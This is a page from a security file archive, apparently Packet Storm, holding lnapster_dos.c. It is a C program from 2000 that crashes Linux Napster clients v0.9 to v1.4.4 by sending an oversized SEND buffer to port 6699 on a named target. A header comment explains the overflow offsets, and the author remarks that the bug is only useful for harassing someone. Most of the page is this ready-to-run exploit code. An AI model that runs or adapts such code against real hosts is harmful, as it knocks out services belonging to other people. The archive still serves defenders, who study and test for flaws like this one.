what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

lnapster_dos.c

lnapster_dos.c
Posted Dec 3, 2000
Authored by vade79, realhalo | Site realhalo.org

The Linux Napster Client v0.9 through v1.4.4 contains remote denial of service vulnerabilities, including a buffer overflow.

tags | exploit, remote, denial of service, overflow, vulnerability
systems | linux
SHA-256 | df942f2957c52dfcabfae137dce7e503c3a18bb3aa36ce6d8d404a43e2c6b85a

lnapster_dos.c

Change Mirror Download
/* (linux)napster[v0.9-/v1.4.4] remote crash/DoS, by v9[v9@fakehalo.org]. 

v0.9:
i re-wrote this after v1.4.3's release, when i remodded this to work on both
versions.

v1.4.3:
this causes a segmentation fault. the fault can be achieved via one of two
ways. the 1st fault is achieved when sending >1024 parameters to either the
SEND or GET function. the 2nd is in the SEND function, by sending 5554+
bytes in this form: SEND <parm1/anything> <5554+ bytes>. in the 2nd
function esi/edx is overwrote: 5558(+4 pointer bytes with offset of +281)
with a total of 5562 bytes. (just informing, but this uses the first fault
to crash linux napster)

v1.4.4:
i thought i notified the maintainer, but it's still vulnerable. :)

note:
bugs like this only have use if you're going to be a prick to someone.
*/
#define TIMEOUT 6
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
void timeout(){printf("connection timed out. (%d)\n",TIMEOUT);exit(-1);}
int main(int argc,char **argv){
char crash[2054];
int i,r,sock;
long ret;
struct hostent *h;
struct sockaddr_in s;
printf("(linux)napster[v0.9-/v1.4.4] remote crash/DoS, by: v9[v9@fakehalo.org].\n");
if(argc<2){printf("[!] syntax: %s <target>.\n",argv[0]);exit(-1);}
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(h=gethostbyname(argv[1]))){
printf("[!] error: could not resolve. (%s)\n",argv[1]);
exit(-1);
}
memcpy((char*)&s.sin_addr,(char*)h->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(6699);
printf("[*] connecting to %s:6699.\n",argv[1]);
signal(SIGALRM,timeout);
alarm(TIMEOUT);
sock=socket(AF_INET,SOCK_STREAM,0);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[!] error: connection failed.\n");
exit(-1);
}
alarm(0);
memcpy(crash,"SEND",4);
for(i=4;i<2054;i+=2){*(long *)&crash[i]=0x2001;}
crash[i]='\0';
printf("[*] connected, sending crash. (length=%d)\n",strlen(crash));
write(sock,crash,strlen(crash));
close(sock);
alarm(TIMEOUT);
sock=socket(AF_INET,SOCK_STREAM,0);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){printf("[*] result: success. (no response)\n");}
else{printf("[!] result: failed. (responded)\n");}
alarm(0);
exit(0);
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    35 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close